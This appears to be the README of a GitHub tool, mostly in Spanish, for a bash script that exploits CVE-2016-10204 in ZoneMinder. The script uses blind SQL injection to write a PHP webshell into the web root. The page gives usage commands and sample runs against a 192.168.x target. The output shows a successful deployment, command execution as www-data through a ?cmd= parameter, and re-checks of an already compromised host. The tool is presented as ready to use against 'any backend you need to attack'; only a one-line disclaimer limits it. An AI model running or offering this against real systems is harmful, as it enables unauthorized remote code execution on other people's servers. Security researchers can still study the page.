0xnullcomet/cve-2016-10204_webshellUn script bash que demuestra la explotación manual de CVE-2016-10204 contra un endpoint objetivo, lo que permite la subida de un webshell php.
Un script de bash que demuestra la explotación manual de CVE-2016-10204 contra un endpoint objetivo, que lleva a la subida de una webshell php.
Actualmente, la variable webshell está configurada para un payload de MySQL. Esto se puede reemplazar con cualquier backend que necesites atacar.
Más información sobre este CVE se puede encontrar en estas fuentes:
Este script funciona de varias maneras:
Uso:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/chmod +x CVE-2016-10204_Webshell.sh
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh testme http://127.0.0.1/zm/index.php
General Usage:
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target_endpoint/zm/index.php>
Help:
Ejemplo:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
[*]================================[*]
[*]Target Host: 192.168.177.52:3305 [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php [*]
[*]================================[*]
[*]================================[*]
[*]Attempting webshell deployment. [*]
[*]================================[*]
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or
Warning: consider "--output <FILE>" to save to a file.
Exit Code for Timeout: 23
[*]================================[*]
[*]Webshell deployment successful. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]
Re-ejecutando contra un objetivo ya explotado:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
[*]================================[*]
[*]Target Host: 192.168.177.52:3305 [*]
[*]Target Endpoint: http://192.168.177.52:3305/zm/index.php [*]
[*]================================[*]
[*]================================[*]
[*]Webshell already deployed. [*]
[*]================================[*]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[*] http://192.168.177.52:3305/webshell_test.php?cmd=id [*]
[*] Execution is available via the ?cmd= parameter [*]
[*]================================[*]
Ayuda incluida:
┌──(user㉿kali)-[~/Downloads]
└─$ /bin/bash CVE-2016-10204_Webshell.sh -h
[+]================================[+]
[+]CVE-2016-10204 - Blind SQLi Webshell Tool [+]
[+]Author Repo: https://github.com/0xNullComet/CVE-2016-10204_Webshell [+]
[+]================================[+]
CVE-2016-10204_Webshell
A bash script demonstrating the manual exploitation of CVE-2016-10204 against a target endpoint,
leading to upload of a php webshell.
More information:
- https://nvd.nist.gov/vuln/detail/CVE-2016-10204
- https://www.exploit-db.com/exploits/41239
- https://www.openwall.com/lists/oss-security/2017/02/05/1
Usage:
/bin/bash CVE-2016-10204_Webshell.sh <webshell_url_suffix> <http://target/zm/index.php>
Example:
/bin/bash CVE-2016-10204_Webshell.sh test http://192.168.177.52:3305/zm/index.php
Notes:
- Verifies if a webshell already exists before attempting exploitation.
- Constructs a malicious SQLi payload to write a PHP webshell into /var/www/html.
- Confirms deployment by executing 'id' via the ?cmd= parameter.
- Please use responsibly only against devices you have permission to do. This is for educational purposes only.